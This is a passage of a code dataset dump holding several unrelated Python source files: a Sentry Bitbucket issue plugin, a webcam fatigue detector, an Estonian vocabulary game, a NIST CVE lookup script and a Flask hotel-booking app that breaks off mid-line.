past year\": \"year\",\n \"all time\": \"all\"}\n\n # I feel like this function should exist in another module\n def get_posts(self, subreddit, sorting_method, time):\n if sorting_method == \"top\":\n return subreddit.top(time)\n elif sorting_method == \"hot\":\n return subreddit.hot()\n elif sorting_method == \"new\":\n return subreddit.new()\n elif sorting_method == \"rising\":\n return subreddit.rising()\n elif sorting_method == \"controversial\":\n return subreddit.controversial(time)\n else:\n print(\"Error: Invalid sorting method.\", file=sys.stderr)\n pass\n\n def schedule(self, ss):\n print(\"Scheduling subreddit settings now...\")\n","repo_name":"jkclark/reddit2Spotify","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":11473,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36243101992","text":"from __future__ import absolute_import\n\nimport six\n\nfrom rest_framework.response import Response\n\nfrom sentry.exceptions import InvalidIdentity, PluginError\nfrom sentry.plugins.bases.issue2 import IssuePlugin2, IssueGroupActionEndpoint\nfrom sentry.utils.http import absolute_uri\n\nfrom sentry_plugins.base import CorePluginMixin\nfrom sentry_plugins.exceptions import ApiError, ApiUnauthorized\nfrom .client import BitbucketClient\n\nISSUE_TYPES = (\n ('bug', 'Bug'),\n ('enhancement', 'Enhancement'),\n ('proposal', 'Proposal'),\n ('task', 'Task'),\n)\n\nPRIORITIES = (\n ('trivial', 'Trivial',),\n ('minor', 'Minor',),\n ('major', 'Major'),\n ('critical', 'Critical'),\n ('blocker', 'Blocker'),\n)\n\nERR_INTERNAL = (\n 'An internal error occurred with the integration and '\n 'the Sentry team has been notified'\n)\n\nERR_UNAUTHORIZED = (\n 'Unauthorized: either your access token was invalid or '\n 'you do not have access'\n)\n\nERR_404 = ('Bitbucket returned a 404. Please make sure that '\n 'the repo exists, you have access to it, and it has '\n 'issue tracking enabled.')\n\n\nclass BitbucketPlugin(CorePluginMixin, IssuePlugin2):\n description = 'Integrate Bitbucket issues by linking a repository to a project.'\n slug = 'bitbucket'\n title = 'Bitbucket'\n conf_title = title\n conf_key = 'bitbucket'\n auth_provider = 'bitbucket'\n\n def get_group_urls(self):\n return super(BitbucketPlugin, self).get_group_urls() + [\n (r'^autocomplete', IssueGroupActionEndpoint.as_view(\n view_method_name='view_autocomplete',\n plugin=self,\n )),\n ]\n\n def is_configured(self, request, project, **kwargs):\n return bool(self.get_option('repo', project))\n\n def get_new_issue_fields(self, request, group, event, **kwargs):\n fields = super(BitbucketPlugin, self).get_new_issue_fields(request, group, event, **kwargs)\n return [{\n 'name': 'repo',\n 'label': 'Bitbucket Repository',\n 'default': self.get_option('repo', group.project),\n 'type': 'text',\n 'readonly': True\n }] + fields + [{\n 'name': 'issue_type',\n 'label': 'Issue type',\n 'default': ISSUE_TYPES[0][0],\n 'type': 'select',\n 'choices': ISSUE_TYPES\n }, {\n 'name': 'priority',\n 'label': 'Priority',\n 'default': PRIORITIES[0][0],\n 'type': 'select',\n 'choices': PRIORITIES\n }]\n\n def get_link_existing_issue_fields(self, request, group, event, **kwargs):\n return [{\n 'name': 'issue_id',\n 'label': 'Issue',\n 'default': '',\n 'type': 'select',\n 'has_autocomplete': True\n }, {\n 'name': 'comment',\n 'label': 'Comment',\n 'default': absolute_uri(group.get_absolute_url()),\n 'type': 'textarea',\n 'help': ('Leave blank if you don\\'t want to '\n 'add a comment to the Bitbucket issue.'),\n 'required': False\n }]\n\n def get_client(self, user):\n auth = self.get_auth_for_user(user=user)\n if auth is None:\n raise PluginError('You still need to associate an identity with Bitbucket.')\n return BitbucketClient(auth)\n\n def message_from_error(self, exc):\n if isinstance(exc, ApiUnauthorized):\n return ERR_UNAUTHORIZED\n elif isinstance(exc, ApiError):\n if exc.code == 404:\n return ERR_404\n return ('Error Communicating with Bitbucket (HTTP %s): %s' % (\n exc.code,\n exc.json.get('message', 'unknown error') if exc.json else 'unknown error',\n ))\n else:\n return ERR_INTERNAL\n\n def raise_error(self, exc):\n if isinstance(exc, ApiUnauthorized):\n raise InvalidIdentity(self.message_from_error(exc))\n elif isinstance(exc, ApiError):\n raise PluginError(self.message_from_error(exc))\n elif isinstance(exc, PluginError):\n raise\n else:\n self.logger.exception(six.text_type(exc))\n raise PluginError(self.message_from_error(exc))\n\n def create_issue(self, request, group, form_data, **kwargs):\n client = self.get_client(request.user)\n\n try:\n response = client.create_issue(\n repo=self.get_option('repo', group.project),\n data=form_data\n )\n except Exception as e:\n self.raise_error(e)\n\n return response['local_id']\n\n def link_issue(self, request, group, form_data, **kwargs):\n client = self.get_client(request.user)\n repo = self.get_option('repo', group.project)\n try:\n issue = client.get_issue(\n repo=repo,\n issue_id=form_data['issue_id'],\n )\n except Exception as e:\n self.raise_error(e)\n\n comment = form_data.get('comment')\n if comment:\n try:\n client.create_comment(repo, issue['local_id'], {'content': comment})\n except Exception as e:\n self.raise_error(e)\n\n return {\n 'title': issue['title']\n }\n\n def get_issue_label(self, group, issue_id, **kwargs):\n return 'Bitbucket-%s' % issue_id\n\n def get_issue_url(self, group, issue_id, **kwargs):\n repo = self.get_option('repo', group.project)\n return 'https://bitbucket.org/%s/issue/%s/' % (repo, issue_id)\n\n def get_configure_plugin_fields(self, request, project, **kwargs):\n return [{\n 'name': 'repo',\n 'label': 'Repository Name',\n 'default': self.get_option('repo', project),\n 'type': 'text',\n 'placeholder': 'e.g. getsentry/sentry',\n 'help': 'Enter your repository name, including the owner.'\n }]\n\n def view_autocomplete(self, request, group, **kwargs):\n field = request.GET.get('autocomplete_field')\n query = request.GET.get('autocomplete_query')\n if field != 'issue_id' or not query:\n return Response({'issue_id': []})\n\n repo = self.get_option('repo', group.project)\n client = self.get_client(request.user)\n\n try:\n response = client.search_issues(repo, query.encode('utf-8'))\n except Exception as e:\n return Response({\n 'error_type': 'validation',\n 'errors': [{'__all__': self.message_from_error(e)}]\n }, status=400)\n\n issues = [{\n 'text': '(#%s) %s' % (i['local_id'], i['title']),\n 'id': i['local_id']\n } for i in response.get('issues', [])]\n\n return Response({field: issues})\n","repo_name":"Mattlk13/sentry","sub_path":"src/sentry_plugins/bitbucket/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":6821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35963003132","text":"import cv2\r\nimport numpy as np\r\nimport tensorflow as tf\r\nimport tkinter as tk\r\nfrom tkinter import ttk\r\nimport pygame\r\nfrom datetime import datetime\r\nimport matplotlib.pyplot as plt\r\n\r\n# 初始化pygame\r\npygame.mixer.init()\r\n\r\n# 加载预训练的眼睛状态识别模型\r\nmodel = tf.saved_model.load(\"path/to/eye_state_model\")\r\n\r\n# 创建主窗口\r\nroot = tk.Tk()\r\nroot.title(\"Eye and Head State Detection\")\r\n\r\n# 创建标签用于显示眼睛状态\r\neye_label = ttk.Label(root, text=\"Eye State: \", font=(\"Helvetica\", 14))\r\neye_label.pack()\r\n\r\n# 创建标签用于显示头部状态\r\nhead_label = ttk.Label(root, text=\"Head State: \", font=(\"Helvetica\", 14))\r\nhead_label.pack()\r\n\r\n# 打开摄像头\r\ncap = cv2.VideoCapture(0)\r\n\r\n# 设置警报阈值\r\neye_alarm_threshold = 0.5\r\nhead_alarm_threshold = 10 # 调整这个值以适应你的需求\r\n\r\n# 创建历史数据列表\r\neye_history = []\r\nhead_history = []\r\n\r\n# 创建图表\r\nfig, ax = plt.subplots()\r\nx_data = []\r\neye_y_data = []\r\nhead_y_data = []\r\neye_line, = ax.plot(x_data, eye_y_data, label='Eye State')\r\nhead_line, = ax.plot(x_data, head_y_data, label='Head Angle')\r\nax.set_title('Eye and Head State Over Time')\r\nax.set_xlabel('Time')\r\nax.set_ylabel('Eye State (Closed=1, Open=0)')\r\nax2 = ax.twinx()\r\nax2.set_ylabel('Head Angle (degrees)')\r\n\r\n\r\n# 创建保存截图的目录\r\nscreenshot_dir = \"screenshots\"\r\nif not os.path.exists(screenshot_dir):\r\n os.makedirs(screenshot_dir)\r\n\r\n# 启动和停止标志\r\nis_running = False\r\n\r\n# 加载人脸检测器和姿态估计器(这里使用一个简单的深度学习模型)\r\nface_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')\r\npose_model = cv2.dnn.readNet(\"path/to/pose_model.prototxt\", \"path/to/pose_model.caffemodel\")\r\n\r\ndef estimate_head_pose(face_roi):\r\n h, w, c = face_roi.shape\r\n blob = cv2.dnn.blobFromImage(face_roi, 1.0, (224, 224), (104, 117, 123))\r\n pose_model.setInput(blob)\r\n pose_output = pose_model.forward()\r\n\r\n # 解析姿态估计输出\r\n yaw = pose_output[0][0]\r\n pitch = pose_output[0][1]\r\n roll = pose_output[0][2]\r\n\r\n return yaw, pitch, roll\r\ndef update_eye_and_head_state():\r\n global is_running\r\n\r\n if is_running:\r\n ret, frame = cap.read()\r\n if not ret:\r\n return\r\n\r\n # 调整图像大小\r\n resized_frame = cv2.resize(frame, (224, 224))\r\n input_image = np.expand_dims(resized_frame, axis=0)\r\n\r\n # 使用模型预测眼睛状态\r\n predictions = model(input_image)\r\n\r\n # 解析预测结果\r\n eye_state = \"Open\" if predictions[0] > eye_alarm_threshold else \"Closed\"\r\n\r\n # 在标签上更新眼睛状态\r\n eye_label.config(text=f\"Eye State: {eye_state}\")\r\n\r\n # 更新历史数据\r\n now = datetime.now()\r\n eye_history.append((now, predictions[0]))\r\n\r\n # 绘制图表\r\n x_data.append(now)\r\n eye_y_data.append(predictions[0])\r\n eye_line.set_data(x_data, eye_y_data)\r\n ax.relim()\r\n ax.autoscale_view()\r\n\r\n # 检测到闭眼表示警觉,\r\n if eye_state == \"Closed\":\r\n print(\"警觉\")\r\n alarm_sound.play() # 播放警报声音\r\n\r\n # 检测人脸并估计头部姿态\r\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\r\n faces = face_cascade.detectMultiScale(gray, scaleFactor=1.1, minNeighbors=5, minSize=(30, 30))\r\n\r\n if len(faces) > 0:\r\n (x, y, w, h) = faces[0]\r\n face_roi = frame[y:y+h, x:x+w]\r\n yaw, pitch, roll = estimate_head_pose(face_roi)\r\n head_label.config(text=f\"Head Angle: Yaw={yaw:.2f}, Pitch={pitch:.2f}, Roll={roll:.2f} degrees\")\r\n\r\n # 更新历史头部数据\r\n head_history.append((now, (yaw, pitch, roll)))\r\n\r\n # 绘制头部角度图表\r\n head_y_data.append(pitch) # 以头部俯仰角为例\r\n head_line.set_data(x_data, head_y_data)\r\n ax2.relim()\r\n ax2.autoscale_view()\r\n\r\n # 检测头部姿态异常表示警觉\r\n if abs(pitch) > head_alarm_threshold:\r\n print(\"头部姿态异常,警觉\")\r\n alarm_sound.play() # 播放警报声音\r\n else:\r\n head_label.config(text=\"Head Angle: Not Detected\")\r\n\r\n # 更新界面\r\n root.after(10, update_eye_and_head_state)\r\n\r\ndef toggle_running():\r\n global is_running\r\n is_running = not is_running\r\n if is_running:\r\n start_button.config(text=\"停止\")\r\n else:\r\n start_button.config(text=\"开始\")\r\n\r\ndef save_screenshot():\r\n now = datetime.now()\r\n filename = f\"{screenshot_dir}/screenshot_{now.strftime('%Y-%m-%d_%H-%M-%S')}.png\"\r\n cv2.imwrite(filename, frame)\r\n print(f\"截图已保存为 {filename}\")\r\n\r\n# 创建开始/停止按钮\r\nstart_button = ttk.Button(root, text=\"开始\", command=toggle_running)\r\nstart_button.pack()\r\n\r\n# 创建保存截图按钮\r\nscreenshot_button = ttk.Button(root, text=\"保存截图\", command=save_screenshot)\r\nscreenshot_button.pack()\r\n\r\n# 在主窗口中添加一个退出按钮\r\nexit_button = ttk.Button(root, text=\"退出\", command=root.quit)\r\nexit_button.pack()\r\n\r\n# 启动UI更新函数\r\nupdate_eye_and_head_state()\r\n\r\n# 进入主事件循环\r\nroot.mainloop()\r\n\r\n# 关闭摄像头和窗口\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n","repo_name":"L3083956088/fatigue_detection","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21406127232","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nfrom tkinter import messagebox\r\nfrom levels import levels\r\nimport random\r\n\r\nroot = Tk()\r\nroot.title(\"Eesti Learn\")\r\nroot.geometry(\"300x250\")\r\nroot.attributes('-fullscreen', True)\r\n\r\nroot.configure(background='#3B5C91')\r\n\r\n\r\nbtnStyle = ttk.Style()\r\nbtnStyle.configure(\"btnStyle.TLabel\", font=\"Arial 24\", foreground=\"#91FEC7\", padding=20, background=\"#1C2648\")\r\n\r\nlableStyle = ttk.Style()\r\nlableStyle.configure('lableStyle.TLabel', font=\"Arial 18\",foreground='#1C2648', background='#1C2648')\r\n\r\n\r\n\r\n\r\ndef closeGame():\r\n root.destroy()\r\n\r\ndef clearWindow():\r\n for widget in root.winfo_children():\r\n widget.destroy()\r\n\r\ndef startScreen():\r\n clearWindow()\r\n startScreen = Frame(background='#3B5C91')\r\n startScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n\r\n heading = ttk.Label(startScreen, text='Eesti Learn Game', font='Arial 64', background='#3B5C91')\r\n heading.pack(pady=20)\r\n\r\n levelsBtn = ttk.Button(startScreen, text='К списку уровней', command=levelsPage, style='btnStyle.TLabel')\r\n levelsBtn.pack(pady=20)\r\n\r\n exitBtn = ttk.Button(startScreen, text='Выйти', command=closeGame, style='btnStyle.TLabel')\r\n exitBtn.pack()\r\n\r\ndef levelsPage():\r\n clearWindow()\r\n\r\n levelsScreen = Frame(background='#3B5C91')\r\n levelsScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n\r\n backBtn = ttk.Button(text='Назад', command=startScreen, style='btnStyle.TLabel')\r\n backBtn.grid(row=0, column=0, padx=10, pady=10, sticky='w')\r\n\r\n style = ttk.Style()\r\n style.configure('Custom.TLabelframe', background='#91FEC7\"')\r\n\r\n num_levels = len(levels)\r\n num_columns = 3\r\n\r\n for index, level in enumerate(levels.keys(), start=1):\r\n level_name = level\r\n \r\n levelFrame = ttk.LabelFrame(levelsScreen, text=f'{level_name}', style='lableStyle.TLabel')\r\n levelFrame.grid(row=(index-1) // num_columns, column=(index-1) % num_columns, padx=10, pady=10)\r\n\r\n learnBtn = ttk.Button(levelFrame, text='Учить Лексику', command=lambda level=level: learnWords(level), style='btnStyle.TLabel')\r\n learnBtn.pack(pady=8)\r\n\r\n ThemeBtn = ttk.Button(levelFrame, text=f'Уровень {index}',style='btnStyle.TLabel')\r\n ThemeBtn.pack(pady=0)\r\n\r\n playBtn = ttk.Button(levelFrame, text='Играть', command=lambda level=level: play(level), style='btnStyle.TLabel')\r\n playBtn.pack(pady=8)\r\n\r\ndef learnWords(lvl):\r\n clearWindow()\r\n\r\n backBtn = ttk.Button(text='К списку уровней', command=levelsPage, style='btnStyle.TLabel')\r\n backBtn.place(relx=0, rely=0)\r\n \r\n playBtn = ttk.Button(text='Играть', command=lambda level=lvl: play(level), style='btnStyle.TLabel')\r\n playBtn.place(relx=1, rely=0, anchor=\"ne\")\r\n \r\n wordsScreen = Frame(background='#3B5C91')\r\n wordsScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n \r\n for word in levels[lvl].keys():\r\n meaning = ttk.Label(wordsScreen, text=f'{word} - {levels[lvl][word]}', background='#3B5C91', font='Arial 14')\r\n meaning.pack(pady=5)\r\n\r\ndef play(lvl):\r\n clearWindow()\r\n \r\n def leaveLevel():\r\n root.after_cancel(makeHit)\r\n levelsPage()\r\n \r\n backBtn = ttk.Button(text='К списку уровней', command=leaveLevel, style='btnStyle.TLabel')\r\n backBtn.place(relx=0, rely=0)\r\n \r\n battleScreen = Frame(background='#3B5C91')\r\n battleScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n \r\n enemyHp = 100\r\n \r\n enemyHpText = ttk.Label(battleScreen, text=f'Здоровье противника: {enemyHp}/100', background='#3B5C91', font='Arial 14')\r\n enemyHpText.pack(pady=5)\r\n \r\n enemyHpProgress = ttk.Progressbar(battleScreen, orient=\"horizontal\", value=enemyHp, max=100)\r\n enemyHpProgress.pack(fill=X, pady=(5, 200))\r\n \r\n attempts = 0\r\n words = list(levels[lvl].keys())\r\n random.shuffle(words)\r\n \r\n def attack():\r\n nonlocal enemyHp\r\n nonlocal attempts\r\n if answer.get().lower() == words[attempts].lower():\r\n answer.delete(0, END)\r\n enemyHp -= 10\r\n if enemyHp <= 0:\r\n winScreen()\r\n return\r\n enemyHpText.configure(text=f'Здоровье противника: {enemyHp}/100')\r\n enemyHpProgress.configure(value=enemyHp)\r\n attempts += 1\r\n if attempts > len(words) -1:\r\n attempts = 0\r\n random.shuffle(words)\r\n askedWord.configure(text=f'Введите слово \"{levels[lvl][words[attempts]]}\" на эстонском')\r\n else:\r\n messagebox.showerror(title='Ошибка', message='Вы ввели не верное слово')\r\n \r\n askedWord = ttk.Label(battleScreen, text=f'Введите слово \"{levels[lvl][words[0]]}\" на эстонском', background='#3B5C91', font='Arial 14')\r\n askedWord.pack()\r\n \r\n answer = ttk.Entry(battleScreen)\r\n answer.pack(pady=5, fill='x')\r\n \r\n answerBtn = ttk.Button(battleScreen, text=\"Атаковать\", command=attack)\r\n answerBtn.pack(pady=5, fill='x')\r\n \r\n \r\n playerHp = 100\r\n\r\n playerHpText = ttk.Label(battleScreen, text=f'Ваше здоровье: {playerHp}/100', background='#3B5C91', font='Arial 14')\r\n playerHpText.pack(pady=(200, 5))\r\n \r\n playerHpProgress = ttk.Progressbar(battleScreen, orient=\"horizontal\", value=playerHp, max=100)\r\n playerHpProgress.pack(fill=X, padx=5)\r\n \r\n def hit():\r\n global makeHit\r\n nonlocal playerHp\r\n playerHp -= 10\r\n if playerHp <= 0:\r\n loseScreen()\r\n return\r\n playerHpProgress.configure(value=playerHp)\r\n \r\n playerHpText.configure(text=f'Ваше здоровье: {playerHp}/100')\r\n makeHit = root.after(10000, hit)\r\n global makeHit\r\n makeHit = root.after(10000, hit)\r\n\r\ndef winScreen():\r\n root.after_cancel(makeHit)\r\n clearWindow()\r\n \r\n winScreen = Frame(background='#3B5C91')\r\n winScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n \r\n heading = ttk.Label(winScreen, text='Вы победили!', font='Arial 64', background='#3B5C91')\r\n heading.pack(pady=20)\r\n \r\n levelsBtn = ttk.Button(winScreen, text='К списку уровней', command=levelsPage, style='btnStyle.TLabel')\r\n levelsBtn.pack(pady=20)\r\n \r\ndef loseScreen():\r\n root.after_cancel(makeHit)\r\n clearWindow()\r\n \r\n winScreen = Frame(background='#3B5C91')\r\n winScreen.place(relx=0.5, rely=0.5, anchor=CENTER)\r\n \r\n heading = ttk.Label(winScreen, text='Вы проиграли!', font='Arial 64', background='#3B5C91')\r\n heading.pack(pady=20)\r\n \r\n levelsBtn = ttk.Button(winScreen, text='К списку уровней', command=levelsPage, style='btnStyle.TLabel')\r\n levelsBtn.pack(pady=20)\r\n\r\n\r\nstartScreen()\r\nroot.mainloop()\r\n","repo_name":"artur-panichev/python-eestiLearnGame","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16027980814","text":"# 구현, 브론즈1, 누울 자리를 찾아라\n\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\nboard = [list(input().rstrip()) for _ in range(n)]\n\n\n\nrow_can = 0\ncol_can = 0\n\nfor i in range(n):\n row_cnt = 0\n col_cnt = 0\n for j in range(n):\n if board[i][j] == \".\":\n row_cnt += 1\n else:\n row_cnt = 0\n if row_cnt == 2:\n row_can += 1\n\n if board[j][i] == \".\":\n col_cnt += 1\n else:\n col_cnt = 0\n if col_cnt == 2:\n col_can += 1\n\nprint(row_can, col_can)\n","repo_name":"lookinmin/algorithm_study","sub_path":"Day12.22-25/bakjoon_1652.py","file_name":"bakjoon_1652.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18659327877","text":"import requests\nimport json\nimport time\nimport datetime\nfrom progressbar import progressbar \n\nBASE_URL = 'https://services.nvd.nist.gov/rest/json'\nINPUT_FILE = 'components.json'\nRESULTS_FILE = 'results.json'\n\ndef main():\n components = json.loads(open(INPUT_FILE).read())['components']\n results_dict = {\n 'scanType': 'NIST vulnerability check',\n 'dateRun': f'{datetime.datetime.now()}',\n 'results': []\n }\n \n for component in progressbar(components, prefix='Checking components for vulenrabilities: '):\n cpe = requests.get(f'{BASE_URL}/cpes/2.0?cpeMatchString={component[\"cpe\"]}').json()\n cve = requests.get(f'{BASE_URL}/cves/2.0?cpeName={component[\"cpe\"]}').json()\n title = ''\n if cpe['totalResults']!=0:\n title = cpe['products'][0]['cpe']['titles'][0]['title']\n vulnerabilities = cve['vulnerabilities']\n \n \n component_result = {\n 'name': component['name'],\n 'version': component['version'],\n 'title': title,\n 'foundCPE': False if cpe['totalResults']==0 else True,\n 'vulnerabilityCount': len(vulnerabilities),\n 'vulnerabilities': []\n }\n\n for vulnerability in vulnerabilities:\n component_result['vulnerabilities'].append({\n 'id': vulnerability['cve']['id'],\n 'status': vulnerability['cve']['vulnStatus'],\n 'published': vulnerability['cve']['published'],\n 'description': vulnerability['cve']['descriptions'][0]['value']\n })\n\n results_dict['results'].append(component_result)\n time.sleep(10)\n\n with open(RESULTS_FILE, 'w') as results_file:\n json.dump(results_dict, results_file)\n\nif __name__ == '__main__':\n main()","repo_name":"JoshGuarino/vulnerability-checker","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73637146292","text":"from flask import Flask, render_template, request, redirect, session\r\nimport psycopg2\r\nfrom criar_tabelas import criar_tabelas\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'chave_secreta' # Chave secreta para sessões\r\n\r\n\r\n# Função auxiliar para estabelecer a conexão com o banco de dados\r\ndef conectar_bd():\r\n try:\r\n conexao = psycopg2.connect(\r\n host='localhost',\r\n port='5432',\r\n user='postgres',\r\n password='123',\r\n database='Hospedagem2'\r\n )\r\n return conexao\r\n except psycopg2.Error as e:\r\n print('Erro ao conectar ao banco de dados:', e)\r\n return None\r\n\r\n\r\n# Rota de login\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef login():\r\n if 'logged_in' in session and session['logged_in']:\r\n return redirect('/opcoes')\r\n\r\n if request.method == 'POST':\r\n username = request.form['username']\r\n password = request.form['password']\r\n if username == 'luiz' and password == '123':\r\n session['logged_in'] = True\r\n return redirect('/opcoes')\r\n else:\r\n return render_template('login.html', error='Credenciais inválidas')\r\n return render_template('login.html', error='')\r\n\r\n\r\n# Rota de logout\r\n@app.route('/logout')\r\ndef logout():\r\n session.pop('logged_in', None)\r\n return redirect('/')\r\n\r\n\r\n# Rota das opções\r\n@app.route('/opcoes')\r\ndef opcoes():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n return render_template('opcoes.html')\r\n\r\n\r\n# Rota de cadastro de cliente\r\n\r\n@app.route('/cadastrar_cliente', methods=['POST'])\r\ndef cadastrar_cliente():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n if request.method == 'POST':\r\n nome = request.form['nome']\r\n cpf = request.form['cpf']\r\n telefone = request.form['telefone']\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o cliente já está cadastrado\r\n query = \"SELECT COUNT(*) FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado[0] == 0:\r\n # Cliente não existe, então cadastrar\r\n query = \"INSERT INTO cliente (nome, cpf, telefone) VALUES (%s, %s, %s)\"\r\n cursor.execute(query, (nome, cpf, telefone))\r\n conexao.commit()\r\n cursor.close()\r\n conexao.close()\r\n\r\n # Enviar mensagem de sucesso\r\n return render_template('cliente.html', mensagem_cadastro='Cliente cadastrado com sucesso.')\r\n\r\n else:\r\n # Cliente já existe, exibir mensagem de erro\r\n cursor.close()\r\n conexao.close()\r\n return render_template('cliente.html', mensagem_cadastro='Erro: CPF já cadastrado.')\r\n\r\n return redirect('/cliente')\r\n\r\n\r\n# Rota de busca de cliente\r\n@app.route('/buscar_cliente', methods=['GET'])\r\ndef buscar_cliente():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n cpf = request.args.get('cpf')\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n query = \"SELECT * FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n cliente = cursor.fetchone()\r\n cursor.close()\r\n conexao.close()\r\n\r\n if cliente:\r\n # Se o cliente foi encontrado, exibir seus dados usando o template cliente_encontrado.html\r\n return render_template('cliente_encontrado.html', cliente=cliente)\r\n else:\r\n # Se o cliente não foi encontrado, exibir a mensagem de erro na página cliente.html\r\n return render_template('cliente.html', mensagem_buscar='Erro: CPF não encontrado.')\r\n\r\n return redirect('/cliente')\r\n\r\n\r\n# Rota de atualização de cliente\r\n@app.route('/editar_cliente', methods=['POST'])\r\ndef editar_cliente():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n cpf = request.form['cpf']\r\n novo_cpf = request.form['novo_cpf']\r\n nome = request.form['novo_nome']\r\n telefone = request.form['novo_telefone']\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n query = \"SELECT * FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n cliente_encontrado = cursor.fetchone()\r\n\r\n if cliente_encontrado is None:\r\n mensagem = 'Cliente não encontrado.'\r\n else:\r\n if novo_cpf != cpf:\r\n # Verificando se o novo CPF já existe na base de dados\r\n query = \"SELECT * FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (novo_cpf,))\r\n cliente_com_novo_cpf = cursor.fetchone()\r\n if cliente_com_novo_cpf:\r\n return render_template('cliente.html', mensagem_editar='O novo CPF já existe.')\r\n\r\n query = \"UPDATE cliente SET nome = %s, cpf = %s, telefone = %s WHERE cpf = %s\"\r\n cursor.execute(query, (nome, novo_cpf, telefone, cpf))\r\n conexao.commit()\r\n mensagem = 'Cliente editado com sucesso.'\r\n\r\n cursor.close()\r\n conexao.close()\r\n\r\n return render_template('cliente.html', mensagem_editar=mensagem)\r\n\r\n\r\n# Rota de remoção de cliente\r\n@app.route('/remover_cliente', methods=['POST'])\r\ndef remover_cliente():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n if request.method == 'POST':\r\n cpf = request.form['cpf']\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o cliente com o CPF informado existe\r\n query = \"SELECT COUNT(*) FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado[0] > 0:\r\n # Cliente encontrado, então remova\r\n query = \"DELETE FROM cliente WHERE cpf = %s\"\r\n cursor.execute(query, (cpf,))\r\n conexao.commit()\r\n cursor.close()\r\n conexao.close()\r\n\r\n # Enviar mensagem de sucesso\r\n return render_template('cliente.html', mensagem_remover='Cliente removido com sucesso.')\r\n\r\n else:\r\n # Cliente não encontrado, exibir mensagem de erro\r\n cursor.close()\r\n conexao.close()\r\n return render_template('cliente.html', mensagem_remover='Erro: CPF não encontrado.')\r\n\r\n return redirect('/cliente')\r\n\r\n\r\n# Rota de cliente\r\n@app.route('/cliente')\r\ndef cliente():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n return render_template('cliente.html')\r\n\r\n\r\n# Rota para a página de opções\r\n@app.route('/opcoes.html')\r\ndef opcoes_html():\r\n return render_template('opcoes.html')\r\n\r\n\r\n\r\n# Rota de quarto\r\n@app.route('/quarto')\r\ndef quarto():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n return render_template('quarto.html')\r\n\r\n\r\n\r\n\r\n# Função para obter a lista de quartos cadastrados\r\ndef obter_lista_quartos():\r\n conexao = conectar_bd()\r\n if conexao is None:\r\n return []\r\n\r\n try:\r\n cursor = conexao.cursor()\r\n\r\n # Obter todos os quartos cadastrados\r\n cursor.execute(\"SELECT * FROM quarto\")\r\n lista_quartos = cursor.fetchall()\r\n\r\n return lista_quartos\r\n\r\n except psycopg2.Error as e:\r\n print('Erro ao obter a lista de quartos:', e)\r\n return []\r\n\r\n finally:\r\n if cursor:\r\n cursor.close()\r\n if conexao:\r\n conexao.close()\r\n\r\n\r\n# Rota de cadastro de quarto\r\n@app.route('/cadastrar_quarto', methods=['POST'])\r\ndef cadastrar_quarto():\r\n if not session.get('logged_in'):\r\n return redirect('/')\r\n\r\n mensagem_cadastro = None\r\n\r\n if request.method == 'POST':\r\n num_quarto = request.form['num_quarto']\r\n num_camas = request.form['num_camas']\r\n num_banheiros = request.form['num_banheiros']\r\n status = request.form['status']\r\n diaria = request.form['diaria']\r\n\r\n conexao = conectar_bd()\r\n if conexao:\r\n cursor = conexao.cursor()\r\n\r\n # Verificar se o quarto com o número informado já existe\r\n query = \"SELECT COUNT(*) FROM quarto WHERE num_quarto = %s\"\r\n cursor.execute(query, (num_quarto,))\r\n resultado = cursor.fetchone()\r\n\r\n if resultado[0] == 0:\r\n # Quarto não existe, então cadastrar\r\n query = \"INSERT INTO quarto (num_quarto, num_camas, num_banheiros, status, diaria) VALUES (%s, %s, %s, %s, %s)\"\r\n cursor.execute(query, (num_quarto, 